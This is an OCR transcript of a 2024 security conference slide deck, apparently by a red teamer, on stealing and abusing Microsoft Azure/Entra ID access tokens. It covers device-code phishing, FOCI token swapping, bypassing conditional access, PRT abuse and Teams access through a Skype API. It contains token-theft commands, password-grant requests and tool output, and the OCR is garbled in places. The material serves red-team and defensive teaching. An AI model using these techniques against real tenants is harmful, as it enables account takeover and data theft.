Now vou’re (not)
hinking with
Portals

2024

Marwan El-Gendi,
\"IBNY=Ye

EuskalHack Security Congress VI



Obligatory whoami /all

e Marwan El-Gendi -> on twitter as @sir_FIS for as long as | can stand it
e Pentester/Red teamer for 6+ years
e Working at ActiveBreach MDSec

e Begrudging cloud researcher

e Perpetually bad at catan

e Forever great at Dnd/Wildsea

Fig: Me coming last in a boardgame | suggested
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Basics

Companies love to move their infra to the cloud. New environment means new

attack surface

Azure is current market leader

Many clients will use 0365 + AzureAD in a hybrid environment. Cause Microsoft is

telling them to

Shoutout to

AADinternals

Dirkjan

AttackingAzureAD (altered security)
Rvrsh3ll (TokenTactics)

Internet (sysadmins on github)
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Microsoft APIs

e Access to Azure resources can be provisioned with access
tokens

. Response
e Even the portal just does API calls under the hood

Note: The response object shown here might be shortened for readability.

e These are justin a standard JWT

The “audience” of a token tells you where its for

e Examples include AADgraph, Msgraph, AzureRM and what
have you

The APls are documented to varying degrees by Microsoft:

e https://learn.microsoft.com/en-us/rest/api/storagerp/

e https://learn.microsoft.com/en-
us/graph/overview?view=graph-rest-1.0

e https://learn.microsoft.com/en-us/previous-
versions/azure/ad/graph/api/api-catalog
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Microsoft APIs

[+] access_token: eyJ0eXAi0iJKV1QiLCJub25jZSI6IjJIUR2ZWbOg5anRhaGVxdEtSS1h00XJiu2JaWGowY3JTa@05NmRHanlmbjAiLCIhbGeci0iJSUZzIINiIsIngld
CI6IKwXxS2ZLRK1fam5YYndXYzIyeFpddzFzVUhIMCIsSImtpZCI6IKwxS2ZLRK1fam5YYndXYzIyeFpuddzFzVUhIMCJI9.eyJhdWQiOiJodHRwczovL2dyYXBoLmlpY3Jdvc29
mdC5jb20iLCIpc3MiOiJodHRwczovL3NOcy53aW5kb3dzLm51dC9jMzIINTVhMCOUMTUYLTQxXY jMEtYWVIMC1INDKkXNDMUMDUZN2EvIiwiaWFOI joxNzEIMTUUNZzKkxLCJIuYm
Yi0jE3MTUXNTg30TESImV4cCI6MTcXNTIONTQSMSwiYWNjdCIGMCwiYWNYIjoiMSIsImFpbyI6IKFUUUF5LzhXQUFBQX03dGdxcWVLTTBMbkdvMjdWdmF1V3Z4MnpGSEG3T
C9TckVrQXIyTURLbEJINL1R5SZEUb jMrRjAXNitWdVIGMXKiLCIhbXIi0lsicHdKI10sImFwcF9kaXNwbGF5bmFtZSI6Ik1pY3Jvc29mdCBPZmZpY2UiLCJIhcHBpZCI6ImQz
NTKwZWQ2LTUyYY jMtNDEWMilhZWZmLWFhZDIyOTJhY jAXYyIsImFwcGLKYWNYIjoiMCIsImdpdmVuX25hbWUi0iJsb3dweml2IiwiaWRO@eXA10iJ1c2VyIiwiaXBhZGRyIjo
iMTKOLJE20C4yMTIuOTgilLCIuYWIlIjoibG93¢cHIpdiIsIm9pZCI6IjAZOTULODZiLTdKN2MtNDEOMCOUZDUZLWFKMjAwY jIhYzAOZiIsInBsYXRmIjoiMyIsInBlawQiOi
IxMDAzMjAwMKY2QzBDNEQzIiwicmgiOiIwLKFhNEFVR1VsdzFLQnMWR3UOGTINSUTRCVGVnTUFBQUFBQUFBQXdBQUFBQUFBQUFDAUFPWS4il CJzY3Ai101iJBAWRpdEXVZY5SZ
WFKLKFsbCBDYWx1LbmRhci5SZWFkV3JpdGUgQ2FsZWSkYXJzL1I1YWQuU2hhemVKIENhbGVUZGFycy5SZWFKkV3JIpdGUgQ29udGF jdHMuUmVhZFdyaXR1IERhdGFMb3NzUHJ1
dmVudGlvb1lBvbGljeSSFdmFsdWFOZSBEaXJ1Y3RvcnKuQWNjZXNzQXNVc2VyLKFsbCBEaXJ1Y3RvenkuUmVhZC5BbGwgZW1lhaWwgRmlsZXMuUmVhZCBGaWx1cySSZWFKLKF
sbCBGaWx1cy5SZWFKkV3JIpdGUuUQWxsIEdyb3VwWL1ILYWQuQWXSTIEdyb3VwWL1ILYWRXcmlOZSSBbGwgSWSmb3JtYXRpb25Qcm90ZWNOaWIuUG9saWNSL1ILYWQgTWFpbCS5SZW
FkV3JpdGUgTWFpbC5TZWSKIESvdGVzLKNYZWFOZSBvcGYuaWQgT3InYWS5pemFOaWouL 1I1YWQuQWxsIFB1b3BsZS5SZWFKIFB1b3BsZS5SZWFKLKFsbCBQcmludGVyL1JlY
WQuUQWxsIFByaw50Sm9iL1ILYWRXcmlOZUJhc21jIHBYb2ZpbGUgU2Vuc210aXZ1SwWSmb1R5cGUURGVOZWNOIFNLbnNpdGL2ZUTuZm9UeXB1L1I1YWQuUQWXsIFNLbnNpdG12
aXR5TGFiZWwuRXZhbHVhdGUgVGFza3MuUmVhZFdyaXRLIFRLYW1INZW1iZXTIuUmVhZFdyaXR1LKFsbCBUZWFtc1RhYi5SZWFKV3JpdGVGb3JIDaGFOIFVzZXIuUmVhZC5BbGw
gVXNLci5SZWFKQmF zaWMuQWxsIFVzZXTuUmVhZFdyaXR1IFVzZXJzL1J1YWQiLCJzdWIi01iJod1ZCNzV3TDB3Z1ZhN3hUTX1tTzJGSzNub1lVFVVpEd21KZnpOSKRIS1VFIi
widGVuYW50X3J1Z21vb192Y29wZSI6IKVVIiwidGlkIjoiYzMyNTU1YTAtODEIMiOOMWIZLWF1ZTAtZTQ5MTQzO0DA1IMzdhIiwidW5pcXV1X25hbWUi0iJsb3dweml2QGFid
WFsaGF3bC5vbmlpY3Jvc29mdC5jb20il CI1cGUi0iIsb3dwem12QGFidWFsaGF3bC5vbmlpY3Jvec29mdC5jb20il CJ1dGki0iJrR201MWRIWURTrZXFOWFd2TGtvMEFBIiwi
dmVyIjoiMSdwIiwid21lkcyI6WyJiNzlmYmYOZCOzZWYS5LTQ20DktODEOMYO3NmIXOTRLODUIMDKiXSwieG1zX2NjI jpbImNwMSIdLCIUbXNfc3NtIjoiMSIsInhtc19zdCI
6eyJzdWIi0iJ1SGRqclIWTG1SOELYQWR2VULZS1BHX21CanpITVpUVFLKTURYYKtRUWOWINOsInhtc190Y2ROIjoxNjkONjA20TUSFQ. TbigJ7U3DHGGEVrdeMIEZ9nmrxM
VRb6NiJ1pHQgsSMEnHTectUFBjBOLoxKkTJIbhAcSYEVtEJIF19hNBR-6FFRhONEQiT jnGO9murPyijxBRVR9S9026cB3KZUfSXUm3417JzugWl-B_t6cdGmUpZ9fIbOEL1SL7D
RLFA5Gm_7Ae5nfllfvHF5X2bsIxPCZvX_tji07fC2miRmVRalWtRLPNnZhNZd7N29ut3SbSWOUGHU2WIglwIa9Bmufu7Qs j7Ge8pIFKX_tpAtdnxnZqjr5zqJo2Z2CdU_V16H
d-nVhqlBY420wDMKpLHHL9SONOnKDvfxré6k6dyocvkaSNvgW9aGMA
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Audiences

e This is the resource you want access to:

URL

Graph.Microsoft.com

Resource

MS Graph API

Graph.windows.net

(deprecated) Graph API

Management.core.windows.net

Azure core management

Management.azure.com

Azure Resource management

Outlook.office.com

Outlook

Vault.azure.net

Microsoft Vault

Enrollment.manage.Microsoft.com

Microsoft enrollment
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Client IDs

e This is a application you are accessing the resource as

e Microsoft first party apps commonly will create tokens for their
normal functions.

Application ClientID Simple Oauth?
Office d3590ed6-52h3-4102-aeff- True
aad2292ab01c
Microsoft Teams 1fec8e78-bce4d-4aaf-ablb- True
5451cc387264
Microsoft Authentication 29d9ed98-a469-4536-ade2- True
Broker f981bc1d605
Enterprise Roaming and 60c8bde5-3167-4f92-8fdb- True
Backup 059f6176dcOf
Outlook Mobile 27922004-5251-4030-b22d- True
9lecd9a37ea4d
Portal c44b4083-3bb0-49¢c1-b47d- X
974e53chdf3c

e Not all are created equal (portal is best for Msgraph)

https://learn.microsoft.com/en-us/troubleshoot/azure/entra/entra-id/governance/verify-first-party-apps-sign-in
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e What the access token is provisioned to do

e Mostly its whatever it says. For example Files.Read.WriteAll lets you
read and write all the files the user has access to via the App

e However these are the “Maximum permissions” so it can be

deceiving

Permission Access

How to get

access?

Allows an app to read your 1 on 1 or group chat messages in
Microsoft Teams, on your behalf.

Files.ReadWrite.All Allows the app to read, create, update and delete all files that you Default office
can access. permission
Mail.Read Allows the app to read email in your mailbox. Default office
permission
Directory.AccessAsUser All Allows the app to have the same access to information in the Default office
directory as the signed-in user permission
Mail.Send Allows the app to send mail as you. Default Outlook
permission
Chat.Read

Default Teams
permission

https://blog.darrenjrobinson.com/microsoft-graph-permission-scope-ids/
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Basics - Use

e With an access token you can access the API directly without worrying about CAP

e By default AzureAD grants Read.All permissions so you can enumerate a lot of information
even as a standard user

e API authorization is done by sending a “Authorization: Bearer <token>" header. Simple
Continuous Access Evaluation is the main thing that can stop this:
CAE can invalidate an access token if:
e User has changed their creds/has been deleted
e Blocks access tokens from outside trusted locations (if CAP is present)
You can tell if a token has CAE is by just reading the token:
"xms_cc":[ "CP1" ],

However several audiences (e.g. AADGraph) do not have CAE. Not the only inconsistency
between AADGraph and MSGraph (e.g. listing CAP more on this later)

Refresh + Family of Client IDs AKA FOCI let you swap the audiences/clientlD out (more on this
later also)

. \
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Getting Tokens

e Device code phishing, a classic. Microsoft spent the last 20 years telling people to
only trust MS links and now one is the phish

e Dump memory of an office process

e IDMS endpoint: curl “https://IDMS/metadata/identity/oauth2/token?api-
version=2018-02-01&resource=https://management.azure.com’ ~-Header
Metadata:true

e TIBRES by Adam Chester (@_xpn_). Decrypt MSAL auth stored on disk

e Saved on disk: “The MSAL token cache and service principal entries are saved as
encrypted files on Windows, and plaintext files on Linux and mac0S.” - Microsoft*

e Authenticate with compromised credentials yourself (Oauth)

m—-NeSuEWVuBdfyzb_FqCTPRFEhJR3Y1mOTYLIXx1fG1D88SmKh363syVQSDDciF-7W1ZPNJ7_TvZpRbbE3069d1Ldr3qJ1M3vre02PHrGVX-3eoqkfCyxx87wt50RspNkqU710ADhGMOmOIZ
"F16d0ZsBQQTEPL-POmUQYpBuWioMqISotifQWBqmOTKDZYRZ2AIKDrUnpHX JKMFEXeSHmaw63bBR j S-SNSK70pGSZ0eGi6yygMj IXxAxq4dLKANSbZ8d1X6T8UWr8UmPZs FyLMA

*https://learn.microsoft.com/en-us/cli/azure/msal-based-azure-cli
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Oauth for tokens

You can use client credentials or secrets to get an access token yourself:

POST /<tenandID>/oauth2/v2.0/token
Host: login.microsoftonline.com

{
“client_id”: “d3590ed6-52b3-4102-aeff-aad2292ab01c”,

“scope”: https://graph.Microsoft.com/.default

“username” :lowpriv@clientcorp.com,

“password”: “N3vergonnagiveyouup”,

““claims*: "{\"access_token\":{\"xms_cc\":{\"values\":[\"cp1\"]}}}”,
"grant_type","password“

}

Or use the refresh token

POST /<tenandID>/oauth2/v2.0/token
Host: login.microsoftonline.com

{
“client_id”: “d3590ed6-52b3-4102-aeff-aad2292ab01c”,

“resource”: https://graph.Microsoft.com”,
“refresh_token”:<REFRESH_TOKEN>",
"grant_type","refresh_token “

}
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A tool to create tokens using credentials.

@Sir_FIS

Start MSAL auth:

got tenantID: c32555

using user: lowprivQ

using password: alUHu

using client id: d3590ed6-52b3-U4102-aeff-aad2292abflc

Got response

Token has FOCI
token_type: Bearer
scope: email openid profile https://graph.microsoft.com/Auditlog.Read.All https://graph.microsoft.com/Calendar.ReadWrite https:
fgraph.microsoft.com/Calendars.Read.Shared https://graph.microsoft.com/Calendars.ReadWrite https://graph.microsoft.com/Contacts.Re
adWrite https://graph.microsoft.com/DatalLessPreventionPolicy.Evaluate https://graph.microsoft.com/Directory.AccessAsUser . All https:
/graph.microsoft.com/Directory.Read.All https://graph.microsoft.com/Files.Read https://graph.microsoft.com/Files.Read.All https://f
graph.microsoft.com/Files.ReadWrite.All https://graph.microsoft.com/Group.Read.All https://graph.microsoft.com/Group.ReadWrite.All
ttps://graph.microsoft.com/InformationProtectionPolicy.Read https://graph.microsoft.com/Mail.ReadWrite https://graph.microsoft.com
Mail.Send https://graph.microsoft.com/Notes.Create https://graph.microsoft.com/Organ
eople.Read https://graph.microsoft.com/People.Read.All https://graph.microsoft.com/Pr
tJob.ReadWriteBasic https://graph.microsoft.com/SensitiveInfoType.Detect https://gra © code O isues 11 Pullrequests O Adions [0 Projects @ Seaurity 1 insighs
ps://graph.microsoft.com/SensitivitylLabel.Evaluate https://graph.microsoft.com/Tasks
ber . Readlirite.All https://graph.microsoft.com/TeamsTab.ReadWriteForChat https://graph @® sharpAzToken Fuiic OWach @ -
rosoft.com/User.ReadBasic.All https://graph.microsoft.com/User.ReadWrite https://grap
oft.com/.default P man -~ | P 18ench
[+] expires: 86399
[+] access_token: eyJOeXAi0iJKV1QiLCJIub25jZSI6ImpXNOx6WFgUdOhtSG56ZVdWZzhzNGtiRWFFTFN [ Y p—

= O HackmichNet / SharpAzToken

Add file ~ <> Code ~

b531af2 - 6 months ago f‘: 13 Commits
BB sharpAzToken add useragent 6 months age

Another tool that does this really well is O giignore
SharpAZtOken by [} LICENSE
https://github.com/HackmichNet O ReADMEmd

D SharpAzToken.sin

[0 README  &[& MIT license

SharpAzToken

SharpAzToken (formerly Lantern) is a small tool | created to learn about Azure authentication, tokens and C#. Maybe
It helps you to learn, too. The code for authentication, is mainly adapted from zuth.py
ported to c#. All credits for the authentication part goes to him.
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Family of Client IDs - FOCI

e Family of Client IDs is a category of client ids are trusted to obtain
refresh tokens for each other.

e The idea is that it lets mobile devices access multiple office applications
without having to prompt the user for authentication every time.

e Though only one “family” of applications exists so far. These are default
and can be utilized with no prompt or consent from the user required.

e The abuse function here, is that we can refresh our token and scope it
to a different APIl. Where different APls have access to different
resources, this can allow us some level of lateral privilege escalation

e Essentially allowing any token from the FOCI family to gain permissions
of the other family members

https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv
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Example - FOCI abuse for phishing

= Microsoft B® Microsoft

marwan@. marwan@

Are you trying to sign in to Are you trying to sign in to
Microsoft Office? Microsoft Teams?

Only continue if you downloaded the app from a Only continue if you downloaded the app from a
store or website that you trust. store or website that you trust,

PS C:\Users\vimes\tools\dev\getToken\bin\Release> .\getToken.exe msgraph 1fec8e78-bcelli—llaaf-ablb-5U451cc38726U

SN NS N\

[/ <

/[ /]

N, NN/ NS N/ T

A tool to create tokens using credentials.

by @Sir_FIS
[+] lets use device codes

[+] URL is: https://www.microsoft.com/devicelogin

[+] Code is: CESKCRNB3

[+] Expires in: 900

[+] Checking for auth

[=] Authorisation is pending

[=] Making requests, just not going to spam console

[+] SUCCESS
I

L
"data':
“token_type": "Bearer",

"scope": "AppCatalog.Read.All Channel.ReadBasic.All Contacts.ReadWrite.Shared Files.ReadWrite.All InformationProtectionPolicy.Read Mail.ReadWrite MailboxSettings.R ’
eadiwrite Notes.ReadWrite.All People.Read Place.Read.All Sites.ReadWrite.All Tasks.ReadWrite Team.ReadBasic.All TeamsAppInstallation.ReadForTeam TeamsTab.Create User.Re

adBasic.ATt"

r
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: Example - FOCI to get better perms
o

0.Aa8ANWULpQkiKkqjTC3pcpSzHXi07B_kvK9KgxtUUcwldcmSsAKE . AgABAWEAAAApTwImzXqdRy

PS C:\Users\vimes\tools\dev\getToken\bin\Release> .\getToken.exe
FeJEwrr_pxivkR-

BN2miheQMYAgDs _v

S—-BNQLlvKvjkRbfk} ODY1_wXkEgMe7Nb

TUFav8K_jE1mRYjc MRATDDL 1eH_132x
BevPuYYxv60CnZw

rjLERDi3kZzgpHE}
6QLtANOdnDCGCUiCPdAUpXarSApzUxOFdJMbdPoEOdpNa36siFjJ+—B9SjGdRmCeKVtp2AVTLQ-21X msgraph d3590ed6-52b3-U4102-aeff-aad '

2292ab01c

________ VA S S B
VAR VA A A A VA ) S VA \
VAV A S A S B B A B B R B Y A Y |
VA N A VN S5 A Ny v B N S Ay
A tool to create tokens using credentials.
@Sir_FIS
got tenantID: a5256535-; 201h214
Making request to: https://logiwTiiicrosottonline.com/a5256535-2209-4a2a-a3lc-2de9729Ub31d
Got response

token_type-is: Bearer
tokep~sScope is: AuditlLog.Read.All Calendar.ReadWrite Calendars.Read.Shared Calendars.ReadWrite Contacts.ReadWrite DatalossPreventionPolicy.Evaluate Directory.Acees

sAsUser.All Directory.Read.All Files.Read Files.Read.All Files.ReadWrite.All Group.Read.All Group.ReadWrite.All InformationProtectionPolicy.Read Mail.ReadWrite Mail.Se
nd Neotes.Create Organization.Read.All People.Read People.Read.All Printer.Read.All PrinterShare.ReadBasic.All PrintJob.ReadWriteBasic SensitiveInfoType.Detect Sensitiv )
eInfuType.Read.All SensitivitylLabel.Evaluate Tasks.ReadWrite TeamMember.ReadWrite.All TeamsTab.ReadWriteForChat User.Read.All User.ReadBasic.All User.ReadWrite Users.R

ead
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Refresh tokens

e Refresh tokens: The cooler token
e Lasts 90 days if inactive, no expiration if used.

e If FOCI is set, you can refresh to different audiences as needed, so one refresh gives
you all the APl access you need for your client

e This is evaluated as a sign-in and must comply with CAP, used to not be recorded* as a
login but does now at certain price points**

e CAP,CAE and other policies can be enforced that can stop this from working
e Device CAP is simply a user-agent comparison so that's easy to bypass

e Location can be jumped over with proxies

e Managed device & CAE restrictions are harder.

e If you can access a “trusted location” you can refresh freely with a simple HTTP
request (such as internal VPN)

PRT extraction/creation: - The ultimate refresh token get anything anytime wow!
e Pull via chrome browser functionality
e Have the ultimate token for your user

e Is it always needed?

*https://aadinternals.com/post/phishing/#detecting (device code)
**https://www.cloud-architekt.net/abuse-and-replay-azuread-token-macos/#using-token-tactics-to-request-refresh-and-access-tokens (PRT)
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What can you do? - everything

APl recon creates little telemetry*. To view it you need to create some kind of feed
for it but lve never seen a reference to its set up:

MSGraph:
e Read all users emails
e Browse Onedrive for user
e Search Sharepoint and Onedrive, upload or replace files
e Sharepoint and onedrive are more trusted
e AADGraph:
e Query User,Group, Device and Application information
e Get all CAP and related policies
e AzureHound
AzureRM:
e Access user subscriptions, permissions in the tenant

e Storage blobs, Applications, Keyvault, Deployments, scripts, Virtual Machines

*please stop tweeting TTPs
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Refresh to galn access

e Some APIs give access to resources that are protected in others

e Notable Examples are AzureAD and Skype APls

OR ENTER.

I’'M A SIGN,
NOT A COP
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Example 1 - Policies via AADGraph

e Credit to Dirkjan. Listing policies in a tenant is “privileged”
permission in Msgraph. Requires Policy.Read.

e However, it is a default permission in AADGraph

GET /policies?api-version=1.61-internal
Host: graph.windows.net
Authorization: Bearer

You cant update policies in AAD anymore though

. \
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Example 1 - Policies via AADGraph

{

"odata.metadata": "https://graph.windows.net/myorganization/$metadata#directoryObjects",
"value": [
{
"odata.type": "Microsoft.DirectoryServices.Policy",
"objectType": "Policy",
"objectld": "8257e2fe-ed87-4bf5-8276-32a557d0bc2e",
"deletionTimestamp": null,
"displayName": "Default Policy",
"keyCredentials": [],
"policyType": 18,
"policyDetail": [
"{"Version":0,"State":"Disabled"}"
]

"policyldentifier": "2023-12-07T10:45:50.7141268Z",

"tenantDefaultPolicy": 18

h

{
"odata.type": "Microsoft.DirectoryServices.Policy",
"objectType": "Policy",
"objectld": "b6371885-e917-4dbd-acf9-22cf56e1567c",
"deletionTimestamp": null,
"displayName": "MFA low",
"keyCredentials": [],
"policyType": 18,
"policyDetail": [

"{"Version":1,"CreatedDateTime":"2023-11-02T16:32:15.71323322","ModifiedDate Time":"2023-12-07T10:45:50.2961323Z","State":"Disabled","Conditions":{"Applications":{"Include":[{"Applications":["All"]}]},"Users":{"Include":[{"Users":["0395586b -
7d7c-4140-8d53-
ad200b2ac04f"}]},"DevicePlatforms":{"Include":[{"DevicePlatforms":["All"]}]},"Locations":{"Include":[{"Locations":["All"]}]},"ClientTypes":{"Include":[{"ClientTypes":['Browser","Native","EasSupported","EasUnsupported","OtherLegacy","LegacySmtp","Legacy
Pop","Legacylmap","LegacyMapi","LegacyOffice"]}]}," SignInRisks":{"Include":[{"SignInRisks":["NoRisk"[}]},"UserRisks":{"Include":[{"UserRisks":["Low"]}]}},"Controls":[{"Control":["Block"]}]," SessionControls":["ContinuousAccessEvaluation"],"ContinuousAcc
essEvaluationMode":"StrictLocation","EnforceAllPoliciesForEas":true,"IncludeOtherLegacyClientTypeForEvaluation":true}"

]

policyldentifier": null,
"tenantDefaultPolicy": null

h

{
"odata.type": "Microsoft.DirectoryServices.Policy",
"objectType": "Policy",
"objectld": "fe92f8f2-db9c-48ac-aa52-6297902c1741",
"deletionTimestamp™: null,
"displayName™: "11/2/2023 4:31:29 PM",
"keyCredentials™: [],
"policyType": 10,
"policyDetail": [

"{"SecurityPolicy":{"Version":0,"SecurityDefaults":{"IgnoreBaselineProtectionPolicies":true,"IsEnabled":false,"SecurityDefaultsUpsell":{"Action":0,"DueDate Timestamp™":"2023-11-02T16:31:29.8672921Z"}}}}"

]

"policyldentifier": null,
"tenantDefaultPolicy": 10
}
]

}
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Example 1 - Policies via AADGraph

{

"odata.metadata":
"https://graph.windows.net/myorganization/$metadata#director
yObjects",

"value": [

{
"odata.type": "Microsoft.DirectoryServices.Policy",
"objectType": "Policy",
"objectld": "8257e2fe-ed87-4bf5-8276-32a557d0bc2e",
"deletionTimestamp": null,
"displayName": "Default Policy",
"keyCredentials": [],
"policyType": 18,
“policyDetail": [
“{"Version":0,"State":"Disabled"}"
],

\
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Example 1 - Policies via AADGraph

{

"odata.type": "Microsoft.DirectoryServices.Policy",
"objectType": "Policy",

"objectld": "b6371885-e917-4dbd-acf9-22cf56e1567c",
"deletionTimestamp": null,

"displayName": "MFA low",

"keyCredentials": [],

"policyType": 18,

"policyDetail": [

"{"Version":1,"CreatedDateTime":"2023-11-02T16:32:15.7132332Z","ModifiedDateTime":"2023-12-
07T10:45:50.2961323Z2","State":"Disabled","Conditions":{"Applications":{"Include":[{"Applications":["All"]}]},"Users":{"Include":[{"Users":['039558
6b-7d7c-4140-8d53-
ad200b2ac04f"]}]},"DevicePlatforms":{"Include":[{"DevicePlatforms":["All"]}]},"Locations":{"Include":[{"Locations":["All"]}]},"ClientTypes":{"Include
“[{"ClientTypes":['Browser","Native","EasSupported","EasUnsupported","OtherLegacy","LegacySmtp","LegacyPop","Legacylmap","LegacyMa
pi","LegacyOffice"]}]},"SignInRisks":{"Include":[{"SigninRisks":["NoRisk"]}]},"UserRisks":{"Include":[{"UserRisks":['Low"]}]}},"Controls":[{"Control"

['Block"]}],"SessionControls":['ContinuousAccessEvaluation"],"ContinuousAccessEvaluationMode":"StrictLocation","EnforceAllPoliciesForEas"
‘true,"IncludeOtherLegacyClientTypeForEvaluation":true}"

1,
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Example 2 - Teams via Skype

TN

@)\ & MDSec

é"jﬁmull“*
S~

Using FOCI and a “undocumented” Skype API its possible to forge a

token for teams access

A tool to create tokens using credentials.
| B5ir_FIS

got tenantID:
Making request to:
Got response
token_type 1s:
token_scope is:
ittps: //apl.spaces.skype.com/.default
resource J.El
ttps:/fapi.s
[+] expires_in is:
[+] expires_on is:
[+] access_token is:

-

e679clac-262d-4552-bc32-d5Ue5a699827
https://login.microsoftonline. com/e679%clac-262d-4552-bc32-d5ue5a699827

Bearer

+

L e W W W W
b =T e e it e

4

paces.skype.com/ . default
8073
8073

https://api.spaces.skype.com/Apps . Readirite https://api.spaces.skype.com/Authorization.ReadWrite https://fapi.spaces.skype.com/Region.ReadWrit

https://api.spaces.skype.com/Apps . ReadWrite https://api.spaces. shype.com/Authorization.ReadWrite https://api.spaces.skype.com/Region.ReadWrite h

eyJeeXAi0iIMVIQILCIub25 i ZSI6IndwNGIWUilGOmhEdTZpcWhTLUp2bXFxaVFkbmNocHERUWE WUy HEVBWVE AL CIhbGci0id5UzIINAIsIngldCI6IkWXS2ZLRK L FfamSY Y nd XYz Iy

eruszzuuhIMcI ImtpZCIeIkwxS2ZLRKLFamSYYndXyYz IyveF piddzFzVUhRINCI9 . ey JhdWQiOiJodHRwezovL 2Fwas5zoGF jZXMuc2t5cGUuY 29t TiwiaXNzI joiaHREC HH&L;?dePudzluEGQ?cyﬁuIKQvET?3

OWMxYWMEM ] Yy ZCOBNTUYLWI Mz It ZDUBZ TVhN jRSMDI3LY IsImLhdCIGMTexNTIONZQxNywibmImI joxNzE1IMFQ3NDE3LCILeHALIOJEIMTUYNTUIC T T dvmndads
ﬂFBQUFc-cl.uJwwumcltrmzﬁuxh dzhTL21TbHRUT1dsUGS1SHNCR JYDTHELU3ExcmIPaW9X SmpyUBoweHZWOX LvOFRENVUSTEMUCItMT1NVNEL 1e GraphSpy Settings Tokens - Device Codes Custom ~ Files ~ SharePoint = Outlook Teams

sicHdKIiwibWZhIlesImFwcGLHI joiZDM1OTELZDYENTIiMyBEMTAYLWFLZmY tYWFHM ] ISMmFiMDF j IiwiYXBuaWRhY3 1104 IwliniYXvearaoau

II(_I'II.'J.‘IJ.QbLhJ.IIHLL.'III"I.I;JI".—'J‘UH-\_I_I_jUJ.r‘iL'.'J.J.LL«_I\'.I-:Il'.'lfl_LlJ.-\JL.i_JL-\Jr.tl'llr'5".'.'}|I'\|l‘...'l'|.l_l'.|.'ll'llJ.L rIIer'IJ.J.HI'lIr‘il.l'ﬂ'“'_zl_llKl'lI'IJLJ.LL-\JJ.L.IIIILJ.LEIH'JTL.'III!' LLD
6ImlhcndhbiS1lbClnZWSkaUBtZHNLYyS jby5layIsInVeasI6InSRRTRPAIpxbVWire jVCAWd2bGNGQUEILCIZZXIi0iIxL jAILCIZaWRz I jpbIm]
0. Xhk2YhCsZ4iPHINVPIiERTLMoBuc3nYUi8qTLONYSZ s9_KVZ-3auchnbW_jmJPLYEr2ApxkUeAZFo@LLTZCtshrx_KnVgYdJXFUF THTEgAGY Sul
JoUum_THLRL7zX3zITGRaeQvBIQUuBKP1LbEEWEASS iFWHr LdUUKdExQBayupTZyam3QwimheZ9RA0DETrGg JdS0uCITREIOUKUBDEhERYUG2AL 1 xH
BIguelbywtPH-CycJ9Z+wMzA

[+] refresh_token is: 8.AQIArMFSSiomUHWEMEtVOWmmQJIOYOWd0zUgJBrv-q@ikgsBwCAHU . AgABAWEAAADNFoLhIpSnRYELSYj-Hod8AgDs
RJIr9BzWWle8tSHsUBWWIGSaTLYwO2UJuRE062 tONLcuekF vOvmvn2Or30Ro6K2YEx0CwH OG39LZFIAGDHY LdkASAhS20F98rRGmMoVLsa90Gtk .

LgSnDZI-{?nj C2pT-_BfT2E1BghuedHOb_m2d9mohJYLpiFwCZIq3_BNUSOtx LEL‘EULc‘.'n'}NHIqE.UzJ-:Hnlut:L'T']‘q_ylEGl.'.ldiL135F'P'L"I.'l']‘ijEI-:EI‘r'I:IZR'Fl
[+] foci is: 1

[!] Making request to:
[!] Got response

[+] skypeToken: E-\,thchiEl:L.]SUz:1H1:51n|thCIEIj‘r".'.'NU"}{HzFEHzEEHjEEQkHBHTHJ::CIDUEHHHHQTHERDFCH:IkaElHTHL_{Jr-HHQiDiJII
1010 . eyJpYXQi0JEZNTUYNDCEHTcs ImVUCCIGMTexNTIINTCSMSwic 2t ScGVpZCIaImSyZ2 L O jdmM jgzNTF JLWUXNZ IENDgBNCLiINTQI L WZ kMW

2T4 1rmAdnTdad dul=4 1 F TRVUIDEAVDATS ad kil COMCOT AT Yoo

https: /S fauthsve  teams.microsoft.com//vl.8/ authz

S uid AT 1a T 4l 7T Ml M o Wl M= M A 0 T AR T el W 1AM TETRIIATTURMS LEMAT 2T 4 e

[+] chatService: https:/fuk. ng ET teams.microsoft.com
PS C:\Usersivimes\tools\devigetToken\bin\Release>

Microsoft has taken many steps to
limit access to teams via APl so this is
quite useful to have

https://www.blackhillsinfosec.com/wishing-webhook-phishing-in-teams/
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Microsoft Teams

[chat] Johanna Lorenz, Megan B... 05/05/2024
RO
A

Adele Vance: Hello from the other side!
13/03/2024

RO
13/03/2024
RO

[space] Remote living

Megan Bowen: [Unrenderable_Content]

[space] Design
d:b64834f6-05b3-4

bcB-b0eeB82d89.

[topic] PNW Coffee Social Camp... 13/03/2024
Christie Cline: [Unrenderable_Content] SO
13/03/2024

RO

[space] Contoso marketing

Megan Bowen: [Unrenderable_Content]

13/03/2024

RO

[topic] Sales West

Isaiah Langer: [Unrenderable_Content]

13/03/2024
RO

[topic] Monthly Reports

Pradeep Gupta: [Unrenderable_Content]

13/03/2024

RO

[space] Sales and Marketing
Nestor Wilke: [Unrenderable_Content]

[space] Retail 13/03/2024
orgid:125a4b34-e9a7-47bd-8f85-1adafa5346... 9\ ®

[topic] NC460 Sales

Miriam Graham: [Unrenderable_Content]

13/03/2024
RO
13/03/2024
A0

[topic] Design

Lee Gu: [Unrenderable_Content]

[topic] Research and Development 13/03/2024
Debra Berger: [Unrenderable_Content] R0
13/03/2024

Y0)

[space] Mark 8 Project Team
gid:b64834f6-05b3-4 bcB-b0ee82d89.

Token Options

® Resolve conversation names
Auto reload messages

® Show all messages

Johanna Lorenz - 13/03/2024 14:58 @

I'll find a time that works for all of us this afterncon. Let's include Alex Wilber for a proper hand-off.

Adele Vance - 13/03/2024 14:58 @

Thanks for coordinating. Let's set aside at least half an hour. The assets request is straight forward.

Adele Vance - 04/05/2024 20:48 @

Adele Vance - 04/05/2024 20:50 @

This is my cool file. Please check it out!

® testfile.txt

IE22 XA 2 3 ESESES E3 C B3
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PRT abuse

e Primary Refresh Token, created for joined devices so that they can auth as a user
without need of multiple prompts

e Can be extracted via ChromeBrowser.exe abuse or by registering a new device

e Well documented by Dirkjan and DrAzure

Basic use is extract token ->add to your cookies as x-ms-RefreshTokenCredential

By browsing to https://login.microsoftonline.com/login.srf you can refresh to any
access token.
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MDSec Consulting 2024 (c) ACtlve/B reaCh

by MDSec


https://login.microsoftonline.com/login.srf

Story so far

e Tokens can be used to access a Microsoft resource bypassing
restrictions

e Can be acquired a number of ways

e Refresh + FOClI mean we can access everything the user can via
interactive websites (e.g. Portal, Shrarepoint, Outlook) without
needing a browser

e Can be leveraged to access resources even the user doesn’t know
they can access (e.g. bookings, AADGraph and Skype APIs)
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Practical example

EXAMPLE ATTACK PATH

. \
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Practical example

Running from a beacon as a user

